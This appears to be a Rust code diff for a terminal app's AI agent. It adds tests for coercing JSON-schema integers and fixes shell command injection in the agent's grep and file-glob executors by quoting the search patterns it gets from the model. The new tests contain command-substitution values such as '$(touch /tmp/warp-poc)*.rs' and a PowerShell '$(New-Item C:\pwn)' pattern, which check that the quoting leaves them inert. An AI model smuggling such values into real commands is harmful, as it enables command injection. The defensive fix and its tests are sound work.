assert_eq!(args["n"].as_i64(), Some(7));
|
||||
assert!(args["m"].is_null());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn one_of_branch_with_integer_is_coerced() {
|
||||
// Mirrors the schema shape from issue #10596: a `filters` array whose items
|
||||
// are a oneOf where one branch has `value: integer` (a millisecond timestamp).
|
||||
let mut args = obj(json!({
|
||||
"filters": [
|
||||
{ "value": ["a", "b"] },
|
||||
{ "value": 1730419200000.0 }
|
||||
]
|
||||
}));
|
||||
let schema = obj(json!({
|
||||
"properties": {
|
||||
"filters": {
|
||||
"type": "array",
|
||||
"items": {
|
||||
"oneOf": [
|
||||
{ "properties": { "value": { "type": "array", "items": { "type": "string" } } } },
|
||||
{ "properties": { "value": { "type": "integer" } } }
|
||||
]
|
||||
}
|
||||
}
|
||||
}
|
||||
}));
|
||||
|
||||
coerce_integer_args(&mut args, &schema);
|
||||
|
||||
assert_eq!(args["filters"][1]["value"].as_i64(), Some(1730419200000));
|
||||
assert_eq!(
|
||||
serde_json::to_string(&args["filters"][1]["value"]).unwrap(),
|
||||
"1730419200000"
|
||||
);
|
||||
// The string-array branch value is untouched.
|
||||
assert_eq!(args["filters"][0]["value"][0].as_str(), Some("a"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn any_of_at_property_level_is_coerced() {
|
||||
let mut args = obj(json!({ "x": 9.0 }));
|
||||
let schema = obj(json!({
|
||||
"properties": {
|
||||
"x": {
|
||||
"anyOf": [
|
||||
{ "type": "string" },
|
||||
{ "type": "integer" }
|
||||
]
|
||||
}
|
||||
}
|
||||
}));
|
||||
|
||||
coerce_integer_args(&mut args, &schema);
|
||||
|
||||
assert_eq!(args["x"].as_i64(), Some(9));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn all_of_with_integer_branch_is_coerced() {
|
||||
let mut args = obj(json!({ "x": 4.0 }));
|
||||
let schema = obj(json!({
|
||||
"properties": {
|
||||
"x": {
|
||||
"allOf": [
|
||||
{ "type": "integer" },
|
||||
{ "minimum": 0 }
|
||||
]
|
||||
}
|
||||
}
|
||||
}));
|
||||
|
||||
coerce_integer_args(&mut args, &schema);
|
||||
|
||||
assert_eq!(args["x"].as_i64(), Some(4));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn additional_properties_schema_is_applied() {
|
||||
let mut args = obj(json!({ "meta": { "a": 1.0, "b": 2.0 } }));
|
||||
let schema = obj(json!({
|
||||
"properties": {
|
||||
"meta": {
|
||||
"type": "object",
|
||||
"additionalProperties": { "type": "integer" }
|
||||
}
|
||||
}
|
||||
}));
|
||||
|
||||
coerce_integer_args(&mut args, &schema);
|
||||
|
||||
assert_eq!(args["meta"]["a"].as_i64(), Some(1));
|
||||
assert_eq!(args["meta"]["b"].as_i64(), Some(2));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn fractional_value_is_not_coerced_to_int() {
|
||||
let mut args = obj(json!({ "x": 2.5 }));
|
||||
let schema = obj(json!({
|
||||
"properties": { "x": { "type": "integer" } }
|
||||
}));
|
||||
|
||||
coerce_integer_args(&mut args, &schema);
|
||||
|
||||
// Schema mismatch (server will reject) but we must not silently truncate.
|
||||
assert_eq!(args["x"].as_f64(), Some(2.5));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn root_level_one_of_branch_with_integer_is_coerced() {
|
||||
// When the root schema uses a combinator instead of (or alongside)
|
||||
// `properties`, the entrypoint must walk every branch, not stop at the
|
||||
// first one.
|
||||
let mut args = obj(json!({ "x": 6.0 }));
|
||||
let schema = obj(json!({
|
||||
"oneOf": [
|
||||
{ "properties": { "x": { "type": "string" } } },
|
||||
{ "properties": { "x": { "type": "integer" } } }
|
||||
]
|
||||
}));
|
||||
|
||||
coerce_integer_args(&mut args, &schema);
|
||||
|
||||
assert_eq!(args["x"].as_i64(), Some(6));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn root_level_additional_properties_is_applied() {
|
||||
let mut args = obj(json!({ "anything": 8.0, "more": 9.0 }));
|
||||
let schema = obj(json!({ "additionalProperties": { "type": "integer" } }));
|
||||
|
||||
coerce_integer_args(&mut args, &schema);
|
||||
|
||||
assert_eq!(args["anything"].as_i64(), Some(8));
|
||||
assert_eq!(args["more"].as_i64(), Some(9));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn negative_whole_float_is_coerced() {
|
||||
let mut args = obj(json!({ "x": -42.0 }));
|
||||
let schema = obj(json!({
|
||||
"properties": { "x": { "type": "integer" } }
|
||||
}));
|
||||
|
||||
coerce_integer_args(&mut args, &schema);
|
||||
|
||||
assert_eq!(args["x"].as_i64(), Some(-42));
|
||||
assert_eq!(serde_json::to_string(&args["x"]).unwrap(), "-42");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn tuple_style_items_coerces_positional_schemas() {
|
||||
let mut args = obj(json!({ "pair": [1.0, "hi", 2.0] }));
|
||||
let schema = obj(json!({
|
||||
"properties": {
|
||||
"pair": {
|
||||
"type": "array",
|
||||
"items": [
|
||||
{ "type": "integer" },
|
||||
{ "type": "string" },
|
||||
{ "type": "integer" }
|
||||
]
|
||||
}
|
||||
}
|
||||
}));
|
||||
|
||||
coerce_integer_args(&mut args, &schema);
|
||||
|
||||
assert_eq!(args["pair"][0].as_i64(), Some(1));
|
||||
assert_eq!(args["pair"][1].as_str(), Some("hi"));
|
||||
assert_eq!(args["pair"][2].as_i64(), Some(2));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn multiple_combinators_at_same_level_are_all_traversed() {
|
||||
// A schema may declare more than one of {oneOf, anyOf, allOf} at the
|
||||
// same level, and every combinator must be walked — not just the first
|
||||
// present key.
|
||||
let mut args = obj(json!({ "a": 1.0, "b": 2.0, "c": 3.0 }));
|
||||
let schema = obj(json!({
|
||||
"oneOf": [{ "properties": { "a": { "type": "integer" } } }],
|
||||
"anyOf": [{ "properties": { "b": { "type": "integer" } } }],
|
||||
"allOf": [{ "properties": { "c": { "type": "integer" } } }]
|
||||
}));
|
||||
|
||||
coerce_integer_args(&mut args, &schema);
|
||||
|
||||
assert_eq!(args["a"].as_i64(), Some(1));
|
||||
assert_eq!(args["b"].as_i64(), Some(2));
|
||||
assert_eq!(args["c"].as_i64(), Some(3));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn one_of_with_multiple_branches_all_visited() {
|
||||
// Every branch under a combinator must be visited, not just the first
|
||||
// match. The same property name across branches with different types
|
||||
// should still get the integer branch's coercion when applicable.
|
||||
let mut args = obj(json!({ "v": 11.0 }));
|
||||
let schema = obj(json!({
|
||||
"oneOf": [
|
||||
{ "properties": { "v": { "type": "string" } } },
|
||||
{ "properties": { "v": { "type": "number" } } },
|
||||
{ "properties": { "v": { "type": "integer" } } }
|
||||
]
|
||||
}));
|
||||
|
||||
coerce_integer_args(&mut args, &schema);
|
||||
|
||||
assert_eq!(args["v"].as_i64(), Some(11));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn already_integer_value_is_unchanged() {
|
||||
let mut args = obj(json!({ "x": 5 }));
|
||||
let schema = obj(json!({
|
||||
"properties": { "x": { "type": "integer" } }
|
||||
}));
|
||||
|
||||
coerce_integer_args(&mut args, &schema);
|
||||
|
||||
assert_eq!(args["x"].as_i64(), Some(5));
|
||||
assert_eq!(serde_json::to_string(&args["x"]).unwrap(), "5");
|
||||
}
|
||||
|
||||
@@ -1,21 +1,19 @@
|
||||
use futures::{future::BoxFuture, FutureExt};
|
||||
use futures::future::BoxFuture;
|
||||
use futures::FutureExt;
|
||||
use galaxyui::{Entity, ModelContext, ModelHandle, SingletonEntity};
|
||||
|
||||
use crate::{
|
||||
ai::{
|
||||
agent::{
|
||||
conversation::AIConversationId, AIAgentAction, AIAgentActionType,
|
||||
CreateDocumentsRequest, CreateDocumentsResult, DocumentContext,
|
||||
},
|
||||
artifacts::Artifact,
|
||||
blocklist::BlocklistAIHistoryModel,
|
||||
document::ai_document_model::{AIDocumentModel, AIDocumentVersion},
|
||||
},
|
||||
notebooks::editor::model::FileLinkResolutionContext,
|
||||
terminal::model::session::active_session::ActiveSession,
|
||||
};
|
||||
|
||||
use super::{ActionExecution, AnyActionExecution, ExecuteActionInput, PreprocessActionInput};
|
||||
use crate::ai::agent::conversation::AIConversationId;
|
||||
use crate::ai::agent::{
|
||||
AIAgentAction, AIAgentActionType, CreateDocumentsRequest, CreateDocumentsResult,
|
||||
DocumentContext,
|
||||
};
|
||||
use crate::ai::artifacts::Artifact;
|
||||
use crate::ai::blocklist::BlocklistAIHistoryModel;
|
||||
use crate::ai::document::ai_document_model::{AIDocumentModel, AIDocumentVersion};
|
||||
use crate::ai::execution_profiles::profiles::AIExecutionProfilesModel;
|
||||
use crate::notebooks::editor::model::FileLinkResolutionContext;
|
||||
use crate::terminal::model::session::active_session::ActiveSession;
|
||||
|
||||
pub struct CreateDocumentsExecutor {
|
||||
active_session: ModelHandle<ActiveSession>,
|
||||
|
||||
@@ -1,18 +1,17 @@
|
||||
use ai::diff_validation::DiffDelta;
|
||||
use futures::{future::BoxFuture, FutureExt};
|
||||
use galaxyui::{Entity, ModelContext, SingletonEntity};
|
||||
use std::collections::HashMap;
|
||||
|
||||
use crate::ai::{
|
||||
agent::{
|
||||
AIAgentAction, AIAgentActionType, DocumentContext, EditDocumentsRequest,
|
||||
EditDocumentsResult,
|
||||
},
|
||||
document::ai_document_model::{AIDocumentId, AIDocumentModel, AIDocumentUpdateSource},
|
||||
};
|
||||
use crate::notebooks::post_process_notebook;
|
||||
use ai::diff_validation::DiffDelta;
|
||||
use futures::future::BoxFuture;
|
||||
use futures::FutureExt;
|
||||
use galaxyui::{Entity, ModelContext, SingletonEntity};
|
||||
|
||||
use super::{ActionExecution, AnyActionExecution, ExecuteActionInput, PreprocessActionInput};
|
||||
use crate::ai::agent::{
|
||||
AIAgentAction, AIAgentActionType, DocumentContext, EditDocumentsRequest, EditDocumentsResult,
|
||||
};
|
||||
use crate::ai::document::ai_document_model::{
|
||||
AIDocumentId, AIDocumentModel, AIDocumentUpdateSource,
|
||||
};
|
||||
|
||||
pub struct EditDocumentsExecutor;
|
||||
|
||||
@@ -66,8 +65,8 @@ impl EditDocumentsExecutor {
|
||||
|
||||
// Apply the diff using fuzzy matching logic
|
||||
let search_replace = ai::diff_validation::SearchAndReplace {
|
||||
search: post_process_notebook(&diff.search),
|
||||
replace: post_process_notebook(&diff.replace),
|
||||
search: diff.search.clone(),
|
||||
replace: diff.replace.clone(),
|
||||
};
|
||||
|
||||
let content_name = format!("document_{}", diff.document_id);
|
||||
|
||||
@@ -1,17 +1,14 @@
|
||||
use crate::ai::agent::conversation::AIConversation;
|
||||
use crate::ai::agent::conversation_yaml;
|
||||
use crate::ai::agent::AIAgentActionResultType;
|
||||
use crate::ai::blocklist::history_model::CloudConversationData;
|
||||
use ai::agent::action_result::FetchConversationResult;
|
||||
use futures::future::BoxFuture;
|
||||
use futures::FutureExt;
|
||||
use galaxyui::{Entity, ModelContext, SingletonEntity};
|
||||
|
||||
use crate::ai::agent::api::ServerConversationToken;
|
||||
use crate::ai::agent::AIAgentActionType;
|
||||
use crate::BlocklistAIHistoryModel;
|
||||
|
||||
use super::{ActionExecution, AnyActionExecution, ExecuteActionInput, PreprocessActionInput};
|
||||
use crate::ai::agent::api::ServerConversationToken;
|
||||
use crate::ai::agent::conversation::AIConversation;
|
||||
use crate::ai::agent::{conversation_yaml, AIAgentActionResultType, AIAgentActionType};
|
||||
use crate::ai::blocklist::history_model::CloudConversationData;
|
||||
use crate::BlocklistAIHistoryModel;
|
||||
|
||||
pub struct FetchConversationExecutor;
|
||||
|
||||
@@ -41,8 +38,9 @@ impl FetchConversationExecutor {
|
||||
let conversation_id = conversation_id.clone();
|
||||
let server_token = ServerConversationToken::new(conversation_id.clone());
|
||||
|
||||
let history = BlocklistAIHistoryModel::as_ref(ctx);
|
||||
let load_future = history.load_conversation_by_server_token(&server_token, ctx);
|
||||
let load_future = BlocklistAIHistoryModel::handle(ctx).update(ctx, |history, ctx| {
|
||||
history.load_conversation_by_server_token(&server_token, ctx)
|
||||
});
|
||||
|
||||
ActionExecution::new_async(load_future, move |cloud_conversation, _ctx| {
|
||||
// TODO(REMOTE-1203): FetchConversation can't materialize non-Oz conversation transcripts yet.
|
||||
|
||||
@@ -7,24 +7,21 @@ use futures::FutureExt;
|
||||
use galaxyui::r#async::FutureExt as AsyncFutureExt;
|
||||
use galaxyui::{AppContext, Entity, EntityId, ModelContext, ModelHandle, SingletonEntity};
|
||||
use itertools::Itertools;
|
||||
use galaxy_core::features::FeatureFlag;
|
||||
|
||||
use crate::ai::agent::conversation::AIConversationId;
|
||||
use crate::ai::agent::{
|
||||
conversation::AIConversationId, AIAgentAction, AIAgentActionType, FileGlobResult,
|
||||
FileGlobV2Match, FileGlobV2Result,
|
||||
AIAgentAction, AIAgentActionResultType, AIAgentActionType, FileGlobResult, FileGlobV2Match,
|
||||
FileGlobV2Result,
|
||||
};
|
||||
use crate::ai::blocklist::BlocklistAIPermissions;
|
||||
use crate::ai::paths::{host_native_absolute_path, join_paths, shell_native_absolute_path};
|
||||
use crate::terminal::model::session::ExecuteCommandOptions;
|
||||
use crate::{
|
||||
ai::agent::AIAgentActionResultType,
|
||||
send_telemetry_from_app_ctx,
|
||||
terminal::{
|
||||
model::session::active_session::ActiveSession, model::session::Session, shell::ShellType,
|
||||
ShellLaunchData,
|
||||
},
|
||||
TelemetryEvent,
|
||||
};
|
||||
use galaxy_core::features::FeatureFlag;
|
||||
use crate::terminal::model::session::active_session::ActiveSession;
|
||||
use crate::terminal::model::session::command_executor::shell_quote_arg;
|
||||
use crate::terminal::model::session::{ExecuteCommandOptions, Session};
|
||||
use crate::terminal::shell::ShellType;
|
||||
use crate::terminal::ShellLaunchData;
|
||||
use crate::{send_telemetry_from_app_ctx, TelemetryEvent};
|
||||
|
||||
const FILE_GLOB_TIMEOUT: Duration = Duration::from_secs(10);
|
||||
|
||||
@@ -214,6 +211,7 @@ async fn run_file_glob(
|
||||
let Some(session) = session else {
|
||||
return Err(anyhow::anyhow!("No session provided to file_glob"));
|
||||
};
|
||||
let shell_type = session.shell().shell_type();
|
||||
|
||||
let is_in_git_repo = is_git_repository(&absolute_path, session.as_ref())
|
||||
.await
|
||||
@@ -228,12 +226,13 @@ async fn run_file_glob(
|
||||
&absolute_path,
|
||||
session.as_ref(),
|
||||
shell_launch_data,
|
||||
shell_type,
|
||||
)
|
||||
.await
|
||||
} else if session.shell().shell_type() == ShellType::PowerShell {
|
||||
} else if shell_type == ShellType::PowerShell {
|
||||
run_powershell_get_childitem_command(&patterns, &absolute_path, session.as_ref()).await
|
||||
} else {
|
||||
run_find_command(&patterns, &absolute_path, session.as_ref()).await
|
||||
run_find_command(&patterns, &absolute_path, session.as_ref(), shell_type).await
|
||||
}
|
||||
}
|
||||
|
||||
@@ -243,20 +242,14 @@ async fn run_git_ls_files_command(
|
||||
target_path: &str,
|
||||
session: &Session,
|
||||
shell_launch_data: Option<ShellLaunchData>,
|
||||
shell_type: ShellType,
|
||||
) -> anyhow::Result<FileGlobV2Result> {
|
||||
let pattern_args = patterns
|
||||
.iter()
|
||||
.flat_map(|pattern| {
|
||||
[
|
||||
// Matches on files in the target path.
|
||||
join_paths(&[target_path, pattern], shell_launch_data.as_ref()),
|
||||
// Matches on files in any subdirectory of the target path.
|
||||
join_paths(&[target_path, "*", pattern], shell_launch_data.as_ref()),
|
||||
]
|
||||
})
|
||||
.map(|pattern| format!("'{pattern}'"))
|
||||
.join(" ");
|
||||
let command = format!("git ls-files -c -o --exclude-standard -- {pattern_args}");
|
||||
let command = build_git_ls_files_command(
|
||||
patterns,
|
||||
target_path,
|
||||
shell_launch_data.as_ref(),
|
||||
shell_type,
|
||||
);
|
||||
|
||||
let command_output = session
|
||||
.execute_command(
|
||||
@@ -291,13 +284,9 @@ async fn run_find_command(
|
||||
patterns: &[String],
|
||||
target_path: &str,
|
||||
session: &Session,
|
||||
shell_type: ShellType,
|
||||
) -> anyhow::Result<FileGlobV2Result> {
|
||||
// Build a find command with -name for each pattern
|
||||
let pattern_args = patterns
|
||||
.iter()
|
||||
.map(|pattern| format!(" -name '{pattern}'"))
|
||||
.join(" -o");
|
||||
let find_command = format!("find \"{target_path}\" -type f {pattern_args}");
|
||||
let find_command = build_find_command(patterns, target_path, shell_type);
|
||||
|
||||
let command_output = session
|
||||
.execute_command(
|
||||
@@ -336,13 +325,7 @@ async fn run_powershell_get_childitem_command(
|
||||
target_path: &str,
|
||||
session: &Session,
|
||||
) -> anyhow::Result<FileGlobV2Result> {
|
||||
let pattern_args = patterns
|
||||
.iter()
|
||||
.map(|pattern| format!("'{pattern}'"))
|
||||
.join(",");
|
||||
let command = format!(
|
||||
"Get-ChildItem -File -Recurse -Include {pattern_args} -Path \"{target_path}\" | ForEach-Object {{ $_.FullName }}"
|
||||
);
|
||||
let command = build_powershell_get_childitem_command(patterns, target_path);
|
||||
|
||||
let command_output = session
|
||||
.execute_command(
|
||||
@@ -367,6 +350,55 @@ async fn run_powershell_get_childitem_command(
|
||||
}
|
||||
}
|
||||
|
||||
fn build_git_ls_files_command(
|
||||
patterns: &[String],
|
||||
target_path: &str,
|
||||
shell_launch_data: Option<&ShellLaunchData>,
|
||||
shell_type: ShellType,
|
||||
) -> String {
|
||||
let pattern_args = patterns
|
||||
.iter()
|
||||
.flat_map(|pattern| {
|
||||
[
|
||||
// Matches on files in the target path.
|
||||
join_paths(&[target_path, pattern], shell_launch_data),
|
||||
// Matches on files in any subdirectory of the target path.
|
||||
join_paths(&[target_path, "*", pattern], shell_launch_data),
|
||||
]
|
||||
})
|
||||
// Patterns are model-controlled action input. Quote after joining with
|
||||
// the target path so metacharacters stay inside the git pathspec.
|
||||
.map(|pattern| shell_quote_arg(&pattern, shell_type))
|
||||
.join(" ");
|
||||
format!("git ls-files -c -o --exclude-standard -- {pattern_args}")
|
||||
}
|
||||
|
||||
fn build_find_command(patterns: &[String], target_path: &str, shell_type: ShellType) -> String {
|
||||
// Preserve the existing `find` expression while making each model-provided
|
||||
// pattern a quoted `-name` argument instead of shell syntax.
|
||||
let pattern_args = patterns
|
||||
.iter()
|
||||
.map(|pattern| format!("-name {}", shell_quote_arg(pattern, shell_type)))
|
||||
.join(" -o ");
|
||||
format!(
|
||||
"find {} -type f {pattern_args}",
|
||||
shell_quote_arg(target_path, shell_type)
|
||||
)
|
||||
}
|
||||
|
||||
fn build_powershell_get_childitem_command(patterns: &[String], target_path: &str) -> String {
|
||||
let pattern_args = patterns
|
||||
.iter()
|
||||
// PowerShell expands expressions in double-quoted strings. Single quote
|
||||
// each pattern so it is passed unchanged to -Include.
|
||||
.map(|pattern| shell_quote_arg(pattern, ShellType::PowerShell))
|
||||
.join(",");
|
||||
format!(
|
||||
"Get-ChildItem -File -Recurse -Include {pattern_args} -Path {} | ForEach-Object {{ $_.FullName }}",
|
||||
shell_quote_arg(target_path, ShellType::PowerShell)
|
||||
)
|
||||
}
|
||||
|
||||
fn non_empty_lines(str: &str) -> impl Iterator<Item = &str> {
|
||||
str.lines().filter(|line| !line.is_empty())
|
||||
}
|
||||
@@ -374,3 +406,7 @@ fn non_empty_lines(str: &str) -> impl Iterator<Item = &str> {
|
||||
impl Entity for FileGlobExecutor {
|
||||
type Event = ();
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
#[path = "file_glob_tests.rs"]
|
||||
mod tests;
|
||||
|
||||
@@ -0,0 +1,57 @@
|
||||
use std::path::PathBuf;
|
||||
|
||||
use super::*;
|
||||
use crate::terminal::shell::ShellType;
|
||||
|
||||
#[test]
|
||||
fn build_find_command_single_quotes_patterns_and_path() {
|
||||
let patterns = vec![
|
||||
"$(touch /tmp/warp-poc)*.rs".to_string(),
|
||||
"owner's*.rs".to_string(),
|
||||
];
|
||||
|
||||
let command = build_find_command(&patterns, "/tmp/repo path", ShellType::Bash);
|
||||
|
||||
assert_eq!(
|
||||
command,
|
||||
r#"find '/tmp/repo path' -type f -name '$(touch /tmp/warp-poc)*.rs' -o -name 'owner'"'"'s*.rs'"#
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn build_git_ls_files_command_single_quotes_joined_patterns() {
|
||||
let pattern = "$(touch /tmp/warp-poc)*.rs";
|
||||
let patterns = vec![pattern.to_string()];
|
||||
let target_path = PathBuf::from(std::path::MAIN_SEPARATOR_STR)
|
||||
.join("tmp")
|
||||
.join("repo");
|
||||
|
||||
let command = build_git_ls_files_command(
|
||||
&patterns,
|
||||
target_path.to_str().unwrap(),
|
||||
None,
|
||||
ShellType::Bash,
|
||||
);
|
||||
|
||||
let expected = format!(
|
||||
"git ls-files -c -o --exclude-standard -- '{}' '{}'",
|
||||
target_path.join(pattern).display(),
|
||||
target_path.join("*").join(pattern).display(),
|
||||
);
|
||||
assert_eq!(command, expected);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn build_powershell_get_childitem_command_single_quotes_patterns_and_path() {
|
||||
let patterns = vec![
|
||||
r#"$(New-Item C:\pwn)*.rs"#.to_string(),
|
||||
"owner's*.rs".to_string(),
|
||||
];
|
||||
|
||||
let command = build_powershell_get_childitem_command(&patterns, r#"C:\repo path"#);
|
||||
|
||||
assert_eq!(
|
||||
command,
|
||||
r#"Get-ChildItem -File -Recurse -Include '$(New-Item C:\pwn)*.rs','owner''s*.rs' -Path 'C:\repo path' | ForEach-Object { $_.FullName }"#
|
||||
);
|
||||
}
|
||||
@@ -12,7 +12,8 @@ use crate::{
|
||||
},
|
||||
blocklist::BlocklistAIPermissions,
|
||||
get_relevant_files::controller::{
|
||||
GetRelevantFilesController, GetRelevantFilesError, GetRelevantFilesStatus,
|
||||
GetRelevantFilesController, GetRelevantFilesError, GetRelevantFilesRequestTarget,
|
||||
GetRelevantFilesStatus,
|
||||
},
|
||||
paths::host_native_absolute_path,
|
||||
},
|
||||
@@ -199,7 +200,9 @@ impl GetFilesExecutor {
|
||||
.get_relevant_files_controller
|
||||
.update(ctx, |controller, ctx| {
|
||||
controller.send_request(
|
||||
¤t_working_directory,
|
||||
GetRelevantFilesRequestTarget::Local {
|
||||
directory: current_working_directory.clone(),
|
||||
},
|
||||
query.clone(),
|
||||
partial_paths.as_ref(),
|
||||
id.clone(),
|
||||
@@ -308,7 +311,8 @@ impl GetFilesExecutor {
|
||||
ActionExecution::Async {
|
||||
execute_future: Box::pin(async move {
|
||||
let result =
|
||||
read_local_file_context(&files, current_working_directory, shell, None, None).await?;
|
||||
read_local_file_context(&files, current_working_directory, shell, None, None)
|
||||
.await?;
|
||||
if result.missing_files.is_empty() {
|
||||
Ok(GetFilesResult::Success {
|
||||
files: result.file_contexts,
|
||||
|
||||
@@ -4,49 +4,34 @@ use std::path::PathBuf;
|
||||
use std::sync::Arc;
|
||||
use std::time::Duration;
|
||||
|
||||
use galaxy_util::standardized_path::StandardizedPath;
|
||||
|
||||
use futures::future::BoxFuture;
|
||||
use futures::FutureExt;
|
||||
use galaxy_util::standardized_path::StandardizedPath;
|
||||
use galaxyui::r#async::FutureExt as AsyncFutureExt;
|
||||
use galaxyui::{AppContext, Entity, EntityId, ModelContext, ModelHandle, SingletonEntity};
|
||||
|
||||
use crate::ai::agent::redaction::redact_secrets;
|
||||
use crate::ai::agent::{
|
||||
conversation::AIConversationId, AIAgentAction, AIAgentActionType, GrepResult, ServerOutputId,
|
||||
};
|
||||
use crate::ai::blocklist::{
|
||||
telemetry_banner::should_collect_ai_ugc_telemetry, BlocklistAIPermissions,
|
||||
};
|
||||
use crate::ai::paths::{host_native_absolute_path, shell_native_absolute_path};
|
||||
use crate::terminal::model::session::ExecuteCommandOptions;
|
||||
use crate::PrivacySettings;
|
||||
use crate::{
|
||||
ai::agent::{AIAgentActionResultType, GrepFileMatch, GrepLineMatch},
|
||||
send_telemetry_from_app_ctx,
|
||||
terminal::{
|
||||
model::session::active_session::ActiveSession, model::session::Session, shell::ShellType,
|
||||
ShellLaunchData,
|
||||
},
|
||||
TelemetryEvent,
|
||||
};
|
||||
|
||||
use super::{
|
||||
get_server_output_id, is_file_path, is_git_repository, ActionExecution, AnyActionExecution,
|
||||
ExecuteActionInput, PreprocessActionInput,
|
||||
};
|
||||
use crate::ai::agent::conversation::AIConversationId;
|
||||
use crate::ai::agent::redaction::redact_secrets;
|
||||
use crate::ai::agent::{
|
||||
AIAgentAction, AIAgentActionResultType, AIAgentActionType, GrepFileMatch, GrepLineMatch,
|
||||
GrepResult, ServerOutputId,
|
||||
};
|
||||
use crate::ai::blocklist::telemetry_banner::should_collect_ai_ugc_telemetry;
|
||||
use crate::ai::blocklist::BlocklistAIPermissions;
|
||||
use crate::ai::paths::{host_native_absolute_path, shell_native_absolute_path};
|
||||
use crate::terminal::model::session::active_session::ActiveSession;
|
||||
use crate::terminal::model::session::{shell_quote_arg, ExecuteCommandOptions, Session};
|
||||
use crate::terminal::shell::ShellType;
|
||||
use crate::terminal::ShellLaunchData;
|
||||
use crate::{send_telemetry_from_app_ctx, PrivacySettings, TelemetryEvent};
|
||||
|
||||
const GREP_TIMEOUT: Duration = Duration::from_secs(10);
|
||||
const NON_ZERO_EXIT_CODE_ERROR: &str = "Grep command exited with non-zero exit code";
|
||||
|
||||
fn escape_double_quotes(s: &str) -> String {
|
||||
s.replace('"', "\\\"")
|
||||
}
|
||||
|
||||
fn powershell_escape_double_quotes(s: &str) -> String {
|
||||
s.replace('"', "`\"")
|
||||
}
|
||||
|
||||
/// Information about the Grep call that resulted in an error, used to send
|
||||
/// telemetry about the error.
|
||||
struct GrepError {
|
||||
@@ -432,6 +417,7 @@ async fn run_grep(
|
||||
&absolute_path,
|
||||
&session,
|
||||
shell_launch_data,
|
||||
shell_type,
|
||||
&execute_directory,
|
||||
)
|
||||
.await
|
||||
@@ -477,20 +463,7 @@ async fn run_git_grep_command(
|
||||
shell_type: ShellType,
|
||||
execute_directory: &str,
|
||||
) -> Result<GrepResult, GrepError> {
|
||||
// This command works on all the shells we support (even PowerShell).
|
||||
let mut grep_command = "git --no-pager grep --color=never --untracked -nIE".to_string();
|
||||
for query in queries {
|
||||
let escaped_query = format!(
|
||||
"\"{}\"",
|
||||
if shell_type == ShellType::PowerShell {
|
||||
powershell_escape_double_quotes(query)
|
||||
} else {
|
||||
escape_double_quotes(query)
|
||||
}
|
||||
);
|
||||
grep_command.push_str(format!(" -e {escaped_query}").as_str());
|
||||
}
|
||||
grep_command.push_str(format!(" \"{target_path}\"").as_str());
|
||||
let grep_command = build_git_grep_command(queries, target_path, shell_type);
|
||||
|
||||
let command_output = session
|
||||
.execute_command(
|
||||
@@ -536,20 +509,10 @@ async fn run_grep_command(
|
||||
target_path: &str,
|
||||
session: &Session,
|
||||
shell_launch_data: Option<ShellLaunchData>,
|
||||
shell_type: ShellType,
|
||||
execute_directory: &str,
|
||||
) -> Result<GrepResult, GrepError> {
|
||||
// Summary of the options we use:
|
||||
// * "--color=never" ensures we don't get colorized output which is harder to parse due to escape sequences
|
||||
// * "-n" includes line numbers
|
||||
// * "-r" performs a recursive search
|
||||
// * "-I" ignores binary files
|
||||
// * "-H" prints file name headers
|
||||
// * "-E" uses extended regex expressions
|
||||
let mut grep_command = "grep --color=never -nrIHE --devices=skip".to_string();
|
||||
for query in queries {
|
||||
grep_command.push_str(format!(" -e \"{}\"", escape_double_quotes(query)).as_str());
|
||||
}
|
||||
grep_command.push_str(format!(" \"{target_path}\"").as_str());
|
||||
let grep_command = build_grep_command(queries, target_path, shell_type);
|
||||
|
||||
let command_output = session
|
||||
.execute_command(
|
||||
@@ -598,17 +561,7 @@ async fn run_select_string_command(
|
||||
shell_launch_data: Option<ShellLaunchData>,
|
||||
execute_directory: &str,
|
||||
) -> Result<GrepResult, GrepError> {
|
||||
// We enable the `-CaseSensitive` flag to match the default behavior of grep.
|
||||
// TODO(CODE-239): Make this command more efficient when searching a file.
|
||||
let select_string_command = format!(
|
||||
"Get-ChildItem -Path \"{}\" -Recurse -File | Select-String -NoEmphasis -CaseSensitive -Pattern {}",
|
||||
target_path,
|
||||
queries
|
||||
.iter()
|
||||
.map(|q| format!("\"{}\"", powershell_escape_double_quotes(q)))
|
||||
.collect::<Vec<_>>()
|
||||
.join(",")
|
||||
);
|
||||
let select_string_command = build_select_string_command(queries, target_path);
|
||||
|
||||
let command_output = session
|
||||
.execute_command(
|
||||
@@ -640,6 +593,52 @@ async fn run_select_string_command(
|
||||
}
|
||||
}
|
||||
|
||||
fn build_git_grep_command(queries: &[String], target_path: &str, shell_type: ShellType) -> String {
|
||||
// This command works on all the shells we support (even PowerShell).
|
||||
let mut grep_command = "git --no-pager grep --color=never --untracked -nIE".to_string();
|
||||
for query in queries {
|
||||
// Queries can originate from model output and project instructions. Keep
|
||||
// them as grep arguments so shell substitutions like $() are inert.
|
||||
grep_command.push_str(format!(" -e {}", shell_quote_arg(query, shell_type)).as_str());
|
||||
}
|
||||
grep_command.push_str(format!(" {}", shell_quote_arg(target_path, shell_type)).as_str());
|
||||
grep_command
|
||||
}
|
||||
|
||||
fn build_grep_command(queries: &[String], target_path: &str, shell_type: ShellType) -> String {
|
||||
// Summary of the options we use:
|
||||
// * "--color=never" ensures we don't get colorized output which is harder to parse due to escape sequences
|
||||
// * "-n" includes line numbers
|
||||
// * "-r" performs a recursive search
|
||||
// * "-I" ignores binary files
|
||||
// * "-H" prints file name headers
|
||||
// * "-E" uses extended regex expressions
|
||||
let mut grep_command = "grep --color=never -nrIHE --devices=skip".to_string();
|
||||
for query in queries {
|
||||
// Queries can originate from model output and project instructions. Keep
|
||||
// them as grep arguments so shell substitutions like $() are inert.
|
||||
grep_command.push_str(format!(" -e {}", shell_quote_arg(query, shell_type)).as_str());
|
||||
}
|
||||
